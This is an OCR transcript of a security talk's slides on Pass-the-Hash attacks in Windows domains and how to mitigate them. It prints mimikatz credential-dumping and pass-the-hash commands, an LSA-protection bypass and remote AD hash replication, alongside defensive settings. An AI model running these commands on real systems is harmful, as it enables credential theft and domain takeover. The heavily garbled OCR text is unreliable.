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Agenda

= PtH Attack Anatomy
= Mitigation

— Proactive

— Reactive

= \WWindows 10 + Windows Server 2016



PtH History and Future

1988 — Microsoft releases Lan Manager

1997 — Pass-the-Hash demonstrated using a modified Samba
2007 — Benjamin Delpy releases Mimikatz

2008 — Pass-the-Ticket attack demonstrated

2012 — Microsoft releases Pass-the-Hash guidance

2013 — Windows contains built-in defenses against PtH

2015 — Michael Grafnetter releases the DSinternals tools ;-)

2016 — More defense mechanisms coming to Windows




PtH Attack Anatomy
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Metasploit Framework

® Grab File Edit Capture Window Help = (= 0:02) Wed 11:00PM «) seclab Q

Cobalt Strike

Cobalt Strike View Hosts Attacks Workspaces Help

+ 4:J auxiliary Find Attacks N
+ ] i :
H E :s:z:d Hail Mary %‘
+ [ post Packages e ﬁ r
‘:;,; At i Manage 67.180
Spear Phish Auto-Exploit Server ~ sl M
Client-side Attacks
Clone Site

Firefox Addon Attack
Signed Applet Attack
System Profiler g

172.16. 4307 o8 25 £ 0b &e9 172.16.42.42
o raphael € dk12 68H raphaelimudge (172.16.42.42:22)

Sl N OO N e

10.73.31.149 10.73.31.186 10.73.31.45 10.73.31.40 10.73.31.176 10.73.31.6 10.73.31.1 10.73.31.10

Eventlog X Jobs X Services X multi/gather/ping_sweep X Services X auxiliary X auxiliary X Shell 93 X Services X
02:44:59 [*] Meterpreter session 94 opened (10.195.21.54:8181 -> 67.180. . :48124) at
2012-06—14 02344359 +000° Current Call
02:46:17 * raffiz added pivot: 10.73.31.0 255.255.255.0 94 ® Eﬂlhnm
02:46:27 * raffiz ping sweep: 10.73.31.0/24 via 94 ki
02:49:37 * raffiz launched msf scans at: 10.73.31.149, 10.73.31.186, 10.73.31.45, 10.73.31.40,
10.73.31.176, 10.73.31.6, 10.73.31.1, 10.73.31.10

(e

02:56:30 <raffiz > we've pivoting through the wifi pineapple, which allowed us to get a
linux host, which allowed us to get java meterpreter on it, which allowed us to well... get
another network |
02:56:31 <raffiz > cheers

02:57:47 <Darren > Way to go WiFi Pineapple / Cobalt Strike. Tasty fruit!
raffiz>




t Framework

Metasplo




Mimikatz

& mimikatz 2.0 al)
"Kiwi en C" (Mar 2 2014 13:54:31)

entiTkiwi.

14 modules

imikatz # token::elevate
nId :0

name

SID name : AUTORITE NT,

(04g,20p)

5-1-5-21-130452501-2
5-1-5-18 (04




DEMO

Pass-the-Hash + RDP



ser Name
Domain

Logon Serwver

Logon Time

SID

msv

wdigest
* Username
* Domain
* Password
kerberos
* Username
* Domain

LSASS NTLM Hashes

Select mimikatz 2.0 alpha x64 (oe.e0)

RemoteInteractive from 2
Administrator

-3767752645-500

Primary
Administrator

: ADATUM

:

Tk 9abfd8deat75c2cd45dcd321aci 28+t 7edod

|t1a1hP»H

945 b=1°°14-41de'+7Lffﬁﬁdd+{

Administrator
ADATUM
(null)

Administrator
ADATUM. COM
(null)




Passing the Hash

mimikatz # sekurlsa::pth /user:
5d9cf30af8foct8530dle20e8
user Administrator
domain adatum. com
program : mmc

i 392ae7adf2efR64117552b1c15
8c2fB831739967680445fb6433fec
PID 3548
TID 2736
LUID @ ;

Jrun:zmmc
5e
ec

2601234 (@e
- data copy @ ©

_ msvl 8
_ kerberos - data copy @

OK
-» null
0K
0K
0K

aes256 _hmac
aes128 hmac
rcd hmac_nt
rcd _hmac_old
rcd mdd

rcd _hmac_nt_exp OK

rcd _hmac_old exp OK
*Password replace -> null

Administrator

mimikatz 2.0 alpha x64 (oe.eo)
Jdomain:adatum.com /ntlm:8c2+83+739967680445Fb643

dudllhb?c 5d9ct3Paf3f6cfi8530dle20e8
S5cad

0:0027b112)
6CB84955
.......... 6CB84C0248

E@

3fec5cad /




PtH Attack Premises

Symmetric Pass-the-Hash

Cryptography Attack Surface




Stealing the Hash



Credentials Lifecycle / Attack Vectors

Admin
Password!
|/
External SEiri-on Use/C.ache In transit on S
storage on client network

store



Credentials Lifecycle / Attack Vectors

External } Use/Cache In transit on R ik
storage on client network

store



Hashes in SAM/AD

LM

NTLM, NTLMv2
Kerberos (RC4)
Kerberos (AES)
Digest

DES
MD4
MD4
PBKDF2 (4096*HMAC_SHA1)
MD35

NO
NO
NO
YES
YES



Active Directory Database - Offline

" Files

— C:\Windows\NTDS\ntds.dit

— C:\Windows\System32\config\SYSTEM
= Acquire

— Locally: ntdsutil IFM

— Remotely: WMI (WIin32_Process), psexec
— Offline: VHDs, VMDKSs, Backups

= Extract

—Windows: DSinternals PowerShell Module
— Linux:; NTDSXtract




DEMO

Extracting hashes from ntds.dit



GUI Tools

Import Wizard

%E é Import from registry or Active Directory files

Local computer

2

Remote machine

Binary files

{3

Textual or

It iz highly recommended that you supply the program with SECURITY and
SOFTWARE registy filez as wel. This will allow to recover plaintest pagzwaordz
to certain accounts.

() Impart regular accourts [fram Sébd registry file)
S Cywindows)sywskem32)confighSar

S TEM Crindowsisywskem32 confighSYSTEM =
(®) Import domain accounts (from &ctive Directany ntds. dit file)

HTDS.OIT Ciiwindowsinkdsintds. dit =1

SYSTEM Cihwindowsisystem3ZconfigySYSTEM| [ Lj [
Load hiztory hashes

[/] Load hashes of machine accounts
[¥] Scan system fast for plaintest pazswords

m [7] Process deleted and hidden accounts, if any

[=dmpart——| | Cancel |

Riiiﬁ Tonls

Windows Password Recovery - Empty project

Options

2 @ B

a

uCigdem
— PO

<

Log window

Backup  Asterisk Password Offline Password || LSA Secrets  Domain Cached  Active Directory  SAM  DPAPI Decoder  Windows
stem files Revealer Remover Dumper Credentials Explorer Explorer Explorer and Analyser~ Wault Explorer
User name s RID Lk hash MNT hash Description
[] gk Administrator - 500 0203 7345B518314341 DE3F72650004FF Passwword history hash
[ f Adrministratar - 500 0293745B518814341 DESF72650004FF Passwword history hash
1385 Administratar 500 0293745B518814341 DE3F726500D4FF Built-in account for administering th
[ d Adrninistratar 500 144034082 79CCDDI7022805165954CDE Password histary hash
DmGuest 5M Built-in account for guest access to
mkrhtgt 502 A7OBEBAECATI93ABL7158CT12B260112 Ca7ESFAE14820500862085C53747C1 Pazsword history hash
Dmkrhtgt 502 COda7ESFAE14820500862085C53747C1 Key Distribution Center Sepdce Aoco
DuLON—DC'ISIi 1001 AA30FCIIDFBEIDE4AS92BA1187B2E0960
uHazem 1110 BO637B0B106461B3BAFSDAA2FZSEEQAE 0203745B312514341 DESF726500D4FF Passwword history hash
DuHazem 1110 0203745B312514341 DESF726500D4FF
uGudmundur 111 60193700E3700F 36219760 20075F 2 86E 0293745B518814341 DESF72650004FF Passwword history hash
DuGudmundur 111 0293745R51881431 DE3F726500D4FF
uManoj 1112 84250 CRADDERT7CA99EFOFSA560 3004, 9293 75B5158314341DESF 7265 0004FF Passweard history hash
DuManoj 1112 9293 745B518314341DE3F 7265 0004FF
1113 2F70069224930C 822 E6EE 0YFE3AST45AC 02937M5B3185143M DESFY2650004FF Pazsword history hash




KRBTGT Account

Eile  Action Wiew Help
ez rE sB XELE BE 2 aETEa%

4 3 Adatum.com A || Marne Type Description
B[] Builtin 52 DnsAd,., Securi.,  DMS Sdministrators Group
b [ Cormputers S Dnslp.. Securi.,  DMSclients who are permitted to perform dynarr
b 2] Development 52 Domai., Securi.  Designated administrators of the domain
b (21 Damain Contrallers 2 Domai.. Securi..  &llworkstations and servers joined to the domair
b [ ForeignSecurityPrinci 2 Domain, Securi., Al domain controllers in the domain
p &I 52 Domain, Securi., Al domain guests

| Lu:ustﬂ.ndFDunc! %Dnmai...
| Managed Service Scc

- 2 Managers
- 2 Marketing

| Prograrm Data
b [Z] Research &_Guest User Built-in account for gquest access to the compute

securi,, Al domain wsers

S Enterp... Securi..  Designated administrators of the enterprise

S Enterp.. Securi..  Members of this group are Read-Only Domain C
S Group .. Securi., Members in this group can modify group policy

b 5] Sales : 5 Key Distribution Center Service Sccount

b ] Systemn oo securl., Members of this group are afforded additional pr

7 Users SECUFL.,  servers inthis group can access rernote access pr o,

<[ m n >




Proactive Measures

* Encryption

= RODC

= Backup protection

= Regular password changes



Active Directory Database - Online

» MS-DRSR/RPC

Crarmer;

Administrators (ADATUMADministrators) Change

Permissions

Auditing Effective Sccess

For additional information, double-click a permission entry, To modify a permission entry, select the entry and click Edit (if available),

Permission entries:

Type
82, Allow
82 Allow

82, Allow
82, Allow
82 Allow
8 Allow
82, Allow
82, Allow
82 Allow

Principal

Administrators (ADATUNM\ADministrators)
Administrators (ADATUM\Administrators)
Administrators (ADATURM\Administrators)

Administrators (ADATURVADministrators)

Inceming Forest Trust Builders (ADATUM...
Pre-Windows 2000 Compatible Access (A..
Pre-Windows 2000 Compatible Access (A..

Administrators (ADATURVADministrators)
Everyone
EMTERPRISE DOMAIN COMTROLLERS

Access

Replication synchronization
Manage replication topelogy
Replicating Directory Changes All

Read only replication secret synchronization

Create inbound forest trust
Special

List contents

Special

Read all properties

Special

<]

Inherited from

Mone

Mone

Mone
Mone
Mone
Mone
Mone
Mone

Mone

¥

| | Bermuowe | | Edit

| Restore defaults |

];4

|| Cancel || Spply |




Go to www.dsinternals.com for demo ;-)

E Directory Services Interr * +

é > O ‘ E] dsinternals.com; skradanie-hesiel-z

Directory Services Internals

BLOG NA STIAHNUTIE  KONTAKT =5

Vykradanie hesiel z Active Directory
na diafku

3. sugust 2015 | Michael Grafnatter
Predstavujem Vam prikaz Get-ADReplAccount, najnovi prirasiok do méjho

P modulu D! ktory ie z

m}
@..

POSLEDNE CLANKY

Mova verzia modulu DSInternals

Vykradanie hesiel zo zalohy Active Directory

nadialku ziskaf plaintextové hesld, hashe hesiel a Kerberos klie wSetkych
pouZivatelov. Toho dosahuje tym, Ze simuluje chovanie prikazu dcrome acez
protokol MS-DRSR si wyiveri repliku vietkych dat v Active Directory databaze. Podla
majich informécii sa jedna o jeding verejne dostupnj nastroj svojhe druhu na svele
Dalej ma tieto viastnosti:

* Ku svojej Ginnosti nevyZaduje ani prava doménového spravcu. Bohate
sivystafi s opravnenim Replicating Directory Changes All, koré mé
napriklad DirSync, Cisco WAAS Ei zle nakenfigurovany SharePoint.

= Otvara dvere dokoran dal$im iHokom, ako si pass-the-hash, pass-the-ticket i
PAC spoofing, pomocou kiorjch je Gtofnik schopny dostat pod konfrolu cely
Active Directory forest Takéto (toky zvidda napriklad nastroj mimikatz.

* Neda sazablokovat pomocou firewallu, pretofe by to obmedzilo zakladn(
funkénost Active Directory

* Viogoch na 2 radici 2} len
prehliadne vaédina bezpecnosinjch auditov

. Zva Ziadnu & i i
opravit v ramei aktualizacie systému

= Jeho pousitie nevyZaduje Fiadne Specidlne vedomosti & priprava. Utoénikovi
siaéi zakladna znalost Active Direclory.

stopu, kiord

kiora by =a dala jednoducho

Priklad pouZitia:

TImport-Module Dolnternals ]
Scred = Get-Credential

Get-ADReplAccount -SamAccountName April -Domain Adatum -Server LON-DCL |
-Credential $cred -Protocol TCP |

UkaZkovy viystup:

Distinguishediame: CN=ipril Reagan OU=IT,DC=Adatum,DC=com |
Sid: 5-1-5-21-3188365338-8008773672-3767752645-1375

Guid: 12402098-600k-4450-0470-314020cc00ea |
SamAccounthame: April

SamfccountType: User |
UserPrincipalame: AprilBadatum. com

PrimaryGroupld: 513 |
SidHistory:

Enabled: True |
Deletad: False

Lastlogon: |
DizployName: April Reagan

GivenNams: April |
Surname: Reagan

Description: |
KTHosh: 920370455515814341de3F 726500047

LMHosh: 72783576618 al75403b108F 3 akcbEd |

ykradanie hesiel z Active Directory na dialku
Pozvanka na HackerFest 2015

Zoznam prikazov PowerShell modulu DSInternals

TAGY

Active Directory ioap microsoft
Azure onee s POWerShell
Prednasky Secu rﬂy SID History Video




Proactive Measures

= Avoid using administrative accounts

= Do not run untrusted SW

* Do not delegate the right to replicate directory changes
= Use an application firewall / IDS ???



SAM Database

= Offline

— Files
* C:\Windows\System32\config\SAM
* C:\Windows\System32\config\SYSTEM

— Tools
« Windows Password Recovery

= Online
— Mimikatz



Online SAM Dump

mimikatz # token::elevate

Token Id : ©

User name

5ID name NT AUTHORITY\SYSTEM
21577 NT AUTHORITY\SYSTEM

-> Impersonated !

* Process Token

* Thread Token

2764457
2770885

ADATUMMhacker

mimikatz # lsadump::sam

Domain LON-SVR1

SysKey : f2163fab%9eb8ae2988965695d85bd41
Local SID

SAMKey : 48cle81db578fd62856c5a7261a0dd9d

RID

014 (508)
: Administrator

92937945b518814341de31726500dAf

NT AUTHORITY\SYSTEM

mimikatz 2.0 alpha x64 (oe.eo)

5-1-5-1

5-1-5-21-3180365
5-1-5-18

5-1-5-21-1625937845-1630943806-1664044456

(edg,20p)

Primary

339-800773672-3767752645-4102

(e4g,20p)

(12g,23p)
Impersonation (Delegati




Proactive Measures

= Bitlocker

» Randomize local Administrator passwords
= Restrict administrative access

= | SA Protected Process



GP Local Admin Pwd Management Solution

e

Password Settings - ol

E} Password Settings

{0 Mot Configured Comment:
(® Enabled

() Disabled
Supperted on:

Options:

ous Setting Next Setting

At least Microsoft Windows XP Professional or Windows Server 2003 family

Help:

Password Complexity

Large letters + small letters + numbers + specials v

Configures AdmPwd password parameters

Password Length |12

Password Age (Days) |30

Password complexity: which characters are used when

= generating a new password

Default: Large letters + small letters + numbers + special
= characters

Password length
Mimimure: 12 characters
Maxirum: 84 characters
Default: 12 characters

Password age in days
Minirmur: 1 day
Maximurn: 265 days
Default: 30 days




Restrict Local Admins - KB2871997

Security Policy Setting | E=plain |

Deny access to this computer from the netwaork Pr... ? 25

qal Dieny access to this computer from the network,

Define these paolicy zettings:

select Users or Groups

Select thiz object type:

|L|$ers or Built-in security principals | | Object Types... |

Frarm this location:

[Lon-DCT [ Locations.. |

Enter the object names to select [examples];

Local account and member of Administrators group Check Mamesz

]|

Cancel |

k. || Cancel || Apply

Deny log on through Remote Desktop Services Pr.., _

Security Policy Setting | Explain |

::45' Dery log on through Remote Desklop Services

[ |iDebne these policy settings:

Add User or Group... Bemove

2000 Service Pack 1 ar earlier. Apply Group Policy objects
containing thiz zetting only to computers running a later verzion of
the operating sustem.

o Thiz zetting iz not compatible with computers running Windows

0k, | | Cancel Apply




Credentials Lifecycle / Attack Vectors

External
storage

in transit :ﬂ Authoritative
networ store

Use/Cache
on client

Sign-on



Windows Integrated Authentication

Application

MET Application

RFPC

MET Framewaork

Internet
Explorer

I

I

I

==PI

-

I

I

I

I

kKerberos MTLM

Cigest

Schannel

MNeqotiate

Other

Application
Layer

S5P1
Layer

S5P
Layer



ser Name
Domain

Logon Serwver

Logon Time

SID

msv

wdigest
* Username
* Domain
* Password
kerberos
* Username
* Domain

LSASS NTLM Hashes

Select mimikatz 2.0 alpha x64 (oe.e0)

RemoteInteractive from 2
Administrator

-3767752645-500

Primary
Administrator

: ADATUM

:

Tk 9abfd8deat75c2cd45dcd321aci 28+t 7edod

|t1a1hP»H

945 b=1°°14-41de'+7Lffﬁﬁdd+{

Administrator
ADATUM
(null)

Administrator
ADATUM. COM
(null)




LSASS Kerberos Keys

Logon Server

Logon Time

* Username :

* Doma1in

Select mimikatz 2.0 alpha x64 (oe.eo)

&dmini:tﬁatmr

-3767752645-500

Administrator
ADATUM. COM

* Password

* Key List :

392ae7adft2et064117552b1c155ee494116b7c85d9cT3Baf8f6cTB8530d1e20e8
92937945b518814341de3+726500dAf

rcd_hmac_ole
rcd mdd
rcd _hmac_nt_exp
rcd _hmac_old exp

02937945b518814341de3f726
: u4 b,10014 41de:+ 26



L SASS Kerberos Tickets

mimikatz 2.0 alpha x64 (oe.eo)

[@

mimikatz # sekurlsa::tickets

Authentication Id

Session

User Name : Administrator
Domain : TUM

ogon Server : (null]

Logon Time :

* Username : LON-SVR1%
* Domain . JATUM. COM
' (null)

5 7:17:85 AM ;




Memory Dump

15 Task Manager
File Options View

Processes Performance App history Startup Users Details  Services

Mame Description PID Status User name CPU Memory (p... ™
[0z services.ex End task 1 app 836 Running SYSTEM oo 2376 K
ows Services 2004 Running LOCAL SE.. 00 17 284 K
: End process tree Process 241 Running SYSTEM 00 5090 K |
[#5] swehost.ex Set priority »  lows Services 1288 Running LOCAL SE... o0 TA468 K
ﬂaGUTLGGK Set affinity 6360 Running Michael 00 52 396 K
L3 SystemSet r 3480 Funning Michael 00 2472 K

Analyze wait chain
\&) Fewer ds UAC virtualization

Create dump file

Open file location

Search online

Properties

Go to service(s)

End task

Dumping process

The file has been successfully created.

The file is located at:
ChlUsers\Michael\AppData*Local Templsass (Z).DMP

oK




Memory Dump

3

mimikatz # sekurls
Switch to MINIDUMP

mimikatz #
Opening

Authentication Id

Domain

Logon Server

* Domalin
* Flags

* NTLM

* SHAL

d

e

Select mimikatz 2.0 alpha x64 (oe.eo)

; 3198622 (0@
Interactive from 1
Michael
NINJA
(null)

015 11:46:22 PM

5-1-5-21-975184482-71351197-17437699080-1601

Primary
michael.grafnetter@outlook.com
Mic ftAccount
16




SSP Cached Creds (SSO)

Kerb Hashes Plaintext-Equivalent Passwords
3rd

TGT LM NT Tspkg  ‘Wdigest  Kerb  LiveSSP Party
S5P

Windows 8.0 Microsoft Account IR I NN R S U " .
and previous Local Account NN IR BENNNN DN D B .
Dornain Account I NN NN R N B S .

+* *
Windows 8.1 Microsoft Account IS [N I SN (S S —"—
ul;_‘ Local Account I I T S T e
Defa Domain Account [ N N T T T e

Windows 8.1 Protected Users IS [SSS (SR [ [ s e e
Features Restricted Admin RDP [ [T [y [ [ o e

* Off by Default

-Nu Password Data in Memory

-Pasmurd Data in Memaory

Based on a table by Benjamin Delpy
twittercomy/'gentilkiwi/status/3525570936408924 1 6/photo,/1




Proactive Measures

Enable Additional LSA Protection?
Restrict administrative access
Applocker/SRP whitelisting
Protected Users group
Restricted Admin RDP
Authentication Policies and Silos
Disable Automatic Restart Sign-On
Do not submit minidumps




Enabling LSA Protected Process

File Edit View Favorites Help

<

, Els

, Errata

, FastCache

) FileSystem

) FileSystemlt
. GraphicsDriv
, GroupOrderl
, HAL

) hivelist

, IDConfigDB
,IPMI

, Keyboard Lay
, Keyboard Lay
| Lsa

| LsaExtensiont
. Lsalnformatic
. Medialnterfa
, MediaProper
, MSDTC
;MU

, MetDiagFx

, Metjoin

, MetTrace

*

Mame

ab| (Default)

-?!'Pj auditbasedirectories

fg'gfl auditbasechjects
ﬁhuthentication Packages
s Bounds
fg'gjcrashonauditfail
E}jdisabledomaincreds

fg'gﬂeveryoneincludesanonym...

_?5'9'3 forceguest
Eﬂfullpri?ilegeauditing
-?!'Pj LimitBlankPasswordUse
74| LsaPid

s MoLmHash

QEJ Motification Packages
-?!'Pj ProductType

fg'gfl restrictanonymous

_?5'93 restrictanonymoussam
8| SecureBoot

3[’3 Security Packages

] RunAsPPLTest

Type

REG_SZ
REG_DWORD
REG_DWORD
REG_MULTI_SZ
REG_BIMARY
REG_DWORD
REG_DWORD
REG_DWORD
REG_DWORD
REG_BIMARY
REG_DWORD
REG_DWORD
REG_DWORD
REG_MULTI_SZ
REG_DWORD
REG_DWORD
REG_DWORD
REG_DWORD
REG_MULTI_5Z
REG_DWORD

Data

(walue not set)
OreD000D000 (D)
OreDO000000 ()

mswl 0

00 300000 00 200000

(00000000 (0}
CreDO0O0DD0D0 (0}
CreDOO000D0 (0}
CreDOO000D0 (0}
00

CreDO0O0DDDT (1]

CeDO000204 (518)

OseDO00000T (1)
rassfm scecli

OecQ000000A (2)
OreD0O00000 (0)
OseDO00000T (1)
OseDO00000T (1)

CreDO0O0DDDT (1]

<

Computer HKEY_LOCAL_MACHIMNEVSYSTEMN CurrentControl5et ControlLsa




Disabling LSA Protected Process

BT Microsoft

fdel Miotoule

m- Download Local Security X+

& > 0O

Download Center

Shop ~ Products ~  Categories ~

o Local Security Authority (LSA) Protected Process Opt-out

Language: English

An efi tool to disable LSA's protected process setting on machines with secure boot.

O
| microsaft.com/en-us/download/details.aspx?id=40897 ‘;_",2' | = E ﬁ

Support~v  Security v




Protected LSA

Eile Action View Help

e rsE H=E

@ Ewvent Yiewer (Local)
[+ g Custom Views
4 [q‘i Windows Logs
Application
Security
£ Setup
System
% Forwarded Events
= Applications and Services Lo
E Subscriptions

System Mumber of events: 1,627 (!) New events available

Level Date and Tirme Source
G:} Information 9/8/2015 8:30:59 AM Service Control Manager
@ Information 9/3/2015 8:50:59 AM Service Control Manager
@ Information 9/8/2015 8:50:43 AM Wininit

&Nl L OO0 AAE 0T ARA Klol_

< | m

Event 12, Wininit

General | Detaijls

LSAS5.exe was started as a protected process with level: 4.

Log Mame: Systern

Source: Wininit Legged: 9/8/2015 8:50:43 AM
Event 1D 12 Task Categorny: MNone

Level: Information Keywords:




Protected LSA

mimikatz 2.0 alpha x64 (oe.eo) -

i@

mimikatz # privilege: :debug
Privilege '28" OK

mimikatz # sekurlsa::logonpasswords
ERROR kuhl m sekurlsa acquirelSA ; Handle on memory (8x00000005)

mimikatz # _




Bypassing the LSA protection

(2] Select mimikatz 2.0 alpha x64 (ce.eo)

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # !+
mimikatz driver not present
mimika - * successfully r
mimikatz driver ACL to everyone
mimikatz driver started

/remove

mimikatz # sekurlsa::logonpasswords

Authentication Id : @ ; 48628

rname
* Domain - ADATUM
NTLM 1 8c2fP3f739967680445fbb433fecscad




Bypassing the LSA protection




Debug Privilege

File Action View Help

o= 755 XE = HE

=] Local Computer Policy

4 A& Computer Configuration
b ] Software Settings
4 || Windows Settings
» || Name Resolution Policy
=) Scripts (Startup/Shutdown)
» = Deployed Printers
4 i Security Settings
» [ & Account Policies
4 [ 4 Local Policies
> g Audit Policy
» g User Rights Assignment
[ .E Security Options

Policy

| Change the time zone

1| Create a pagefile

| Create a token object

| Create global objects

| Create permanent shared objects

| Create symbaolic links

Debug programs

1) Deny access to this computer from the network
) Deny log on as a batch job

) Deny log on as a service

| Deny log on locally

o) Deny log on through Remote Desktop Services

Security Setting

LOCAL SERVICE, Admini...
Administrators

LOCAL SERVICE,NETWO...

Administrators, NT VIRT...

Administrators

*5-1-5-21-975184402-71...




RestrictedAdmin RDP - KB2871997

Administrator Command Prompt

slzepssadministrator . ADATUM*mstse Aprestrictedadmin

) Femote Desktop Connection = = ﬂ-.,

| Remote Desktop
»¢) Connection

Cormnpuiter: | lan-zwr1 . adatun. com

zer name:  Adminiztrator@Aa0ATLR. CORM

'our Windows logon credentialz will be uzed to conhect.

= Show Options

Help

File  Action

Group Policy Management Editor

Wiew  Help

e rE = HBE 7

_I:I-

(=] Demos [LOMN-DCLADATUM.COM] Policy

*

4 [ Computer Configuration

4 [ | Palicies

b = = |

=

£ m

| Software Settings
| Windows Settings

| Administrative Templates: Policy defin
| Control Panel

| Metweark

| Printers

| Server

| Start Menu and Taskbar

| System

| Access-Denied Assistance

| Sudit Process Creation

| Credentials Delegation

| Dewice Installation

| Disk MY Cache w

Setting

|i=] &llowe delegating default credentials with MTLM-anly 5.

|==] Allowe delegating default credentials

|i=] Allowe delegating fresh credentials

|==] Allowy delegating fresh credentials with MTLR-only ser..,

|i=] Allowe delegating sawed credentials

|=] &llowe delegating saved credentials with MTLM-anly se..

|==| Deryy deleqating default credentials
|i=| Dery delegating fresh credentials
|==| Derye deleqating saved credentials

Restrict delegation of credentials o remote servers

< (]|

State
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot canfigured
Mot canfigured
Enabled

10 setting(s)

Extended :;\Standard //




Credential Delegation — Security vs. Comfort

% Remote Desktop Connection = : Group Policy Management Editor \;li-
File  Action  Wiew Help
| Remote Desktop N IR K 4
) CunnECtlnn [ Demos [LOM-DCT1ADATUM.COM] Policy A || Settin State
= = g8
4 i Computer Configuration =] Allow delegating default credential... Mot configured
4 [ Policies = v deleqating default o H Enabled
Computer: +11. adaturn. corm Ly B[] Software Settings =] Allow delegating fresh credentials Mot configured
P Wmd.m.ms Se.ttmgs . o . =] Allow delegating fresh credentials .. Mot configured
zer name:  Administrator@ADAT UM COM 4 [ &dministrative Termplates: Policy definitions (ADMX file: i) Allow delegating saved credentials Mot configured
. . . b [ Control Panel ?_‘ﬂﬂomfddegaﬁngsavedcredenﬁah.“ Mot configured
Your Windows logon credentials will be used to connect. b Metmork = ] ) )
- Print jiz) Deny delegating default credentials Mot configured
1
. Snn iiz) Deny delegating fresh credentials Mot configured
EMER
. x i=| Deny delegating saved credentials Mot configured
*  Show Optionz Help | Start Menu and Taskbar p— Y_ E g ) .g
i=| Restrict delegation of credentials £, Mot configured
4 [ Sypstemn =
| Access-Denied Assistance
Q) Select mimikatz 2.0 alpha x64 (oe.ea) |;|i- | Audit Process Creation
| Credentials Delegation
I || Dewvice Installation L L >
< 1] > Extended )\Standard/
Primary 10 setting(s)
ninistrator

* Username : Administrator
* Domain = ADATUM
- Pa$$word

: iinistrator
* Domain - ADATUM




Disable Wdigest SSO — KB2871997

L) Select mimikatz 2.0 alpha x64 (oe.eo)

= [o |

* Name Administrator
Domain : ADATUM
Logon Server Lol
Logon Time
51D
msv
[¢ '] Primary
* Username : Administrator
" Domain ADATUM
* NTLM
© SHA1 j
L5 CredentialKeys
92937945b518814341de3

wdigest
* Username
* Domain
* Password
kerberos

Administrator
ADATUM
(null)

* Username : Administrator

ﬁ Registry Editor

File Edit View Favorites Help
v SecurityProviders
----- SaslProfiles
. .| | SCHANNEL
. WDigest
----- Server Applications
----- ServicefggregatedEvents

----- ServiceGroupCrder
ServiceProvider
Session Manager
SHMP

CORACAmirnl ird

Mame

ab| (Default)

fis| Debuglevel

ab| DigestEncryptionAlgorithms
fie| Megotiate

fia| UTFEHTTP

We| UTFBSASL

£

Type

REG_SZ
REG_DWORD
REG_SZ
REG_DWORD
REG_DWORD
REG_DWORD
REG_DWORD

Data

(value not =et)
OeeQOOOO000 (0]
3des, rcd

CeeQODOO0D0 (0)
OeeQOO0000T (1)
OocDODO000T (1)
OeeQOOOO000 (0]




Protected Users Group

E Active Directory Users and Computers =] x |

File Action

T YCIEREIRE EEER

View Help

| Active Directory Users and Com
B 0 Saved Queries
4 33 Adatum.com
B | Builtin
B Computers
Y Development
2] Domain Centrollers
[ 7] ForeignSecurityPrincipal:
=T
7] Managed Service Accour
[Z] Managers
=] Marketing
|2 Research
2] Sales
7] Users

i A

Mame
aﬁ.dministrat
52, Allowed RO
82, Cert Publish

52, DnsAdmins
%DnsUpdateP
52, Domain Ad
%Domain Co
82, Domain Co
%Domain Gusg

%Group Poli
E_, Guest

a Protected Usg

52 RAS and 145
%Read-only[}
52, Schema Ad

52, WinRMRemd

General | Members | Member Of | Managed By |

Protected Users

8

Group name (pre-Windows 2000):

|F‘rotected Users |

Description: |Mernbeﬂ§ of this group are afforded additional protectiuns|

E-mail: | |

Group type
(®) Security
() Distribution

Group scope
() Domain local
(#® Global

() Universal

Motes:




Automatic R

estart Sign-On

A Sign-in last interactive user automatically after a system-initiated restart I;li-

Ei Sign-in last interactive user automatically after a system-initiated restart Next Setting

) Not Cenfigured
() Enabled

(®) Disabled

Options:

Comment:

Supported on:

At least Windows Server 2012 R2, Windows 8.1 or Windows RT 8.1

Help:

This policy setting controls whether a device will automatically
sign-in the last interactive user after Windows Update restarts the
system,

If you enable or do not configure this policy setting, the device
securely saves the user's credentials (including the user name,
domain and encrypted password) to configure automatic sign-in
after a Windows Update restart. After the Windows Update
restart, the user is autematically signed-in and the session is
automatically locked with all the lock screen apps cenfigured for
that user,

If you disable this pelicy setting, the device does not store the
user's credentials for automatic sign-in after a Windows Update
restart, The users' lock screen apps are not restarted after the
systemn restarts,

‘ oK || e ‘




Blacklisting?

ACTION CENTER
Application Tools  Tools

Home Share View Manage : :
Security and Maintenance

- <« Pass-the-Hash » Tools v 0

(] Mame - Date modified ¢ Potentially harmful software detecte 10:20
Click to review and take action v
% ca_setup (1).exe 9/7,/2015 23:57

=] PsExec.exe

[]lE] wee.exe
7B wee_v1_42beta x64 (2).zip

£
4 items 1 item selected 212 KB




Credentials Lifecycle / Attack Vectors

Authoritative
store

External . Use/Cache
Sign-on ¥
storage on client



ARP Poisoning + NTLM Downgrade
L .

e LHBER +v BRI nEBEs0®R |02 0N
|@> Decoders I@ Metwork Iﬂ'ﬂ Sniffer I@f Cracker Iﬁ Traceroute IM CCcou I[c,i'f] Wireless Iﬁj Query |

e APR Status IP address MAC address Packets -» | <- Packets | MAC address IP addresz
(& APR-Cert (0) Ak Idle 10.135.0.1 000EDCSB5C10 78E7D1C8056B  10.135.7.196
----- . APR-DNS dhldle 10135122 000874F4E53B FSD11146E46EB  10.135.1.200
----- B APR-55H-1 (0) dhldle 10.135.0.202 647002897EB7 0019B9660188  10.1356.139
----- & APR-HTTPS (0) i Idle 10.135.0.202 647002897ER7 00123F4D178A  10.1354.140
..... &) APR-ProxyHTTPS (0) || £k Idle 1013501 000EDCSBSCI0 00096E9213B1  10.135.3.222
..... & APR-RDP (0) i Idle 1013501 000EDCSBSCL0 647002E23965  10.135.5.254
..... & APR-FTPS (D) i Idle 1013501 000EDCSBSCL0 000FLFE36329  10.135.7.246
..... & APR-POP3S (D)

..... é APR-IMAPS (07 Status IP address MAC address Packets -» | =- Packets | MAC address IP address
..... & APR-LDAPS (0)
..... S APR-SIPS (0)

a4 = ) @ Configuration / Routed Packets I

I
Q Hosts I@ APF‘.IQ’ Routing I% Passwords I@% VoIP |

Lost packets: 0%




Using the Hash/Key/Ticket



Passing the Hash

mimikatz # sekurlsa::pth /user:
5d9cf30af8foct8530dle20e8
user Administrator
domain adatum. com
program : mmc

i 392ae7adf2efR64117552b1c15
8c2fB831739967680445fb6433fec
PID 3548
TID 2736
LUID @ ;

Jrun:zmmc
5e
ec

2601234 (@e
- data copy @ ©

_ msvl 8
_ kerberos - data copy @

OK
-» null
0K
0K
0K

aes256 _hmac
aes128 hmac
rcd hmac_nt
rcd _hmac_old
rcd mdd

rcd _hmac_nt_exp OK

rcd _hmac_old exp OK
*Password replace -> null

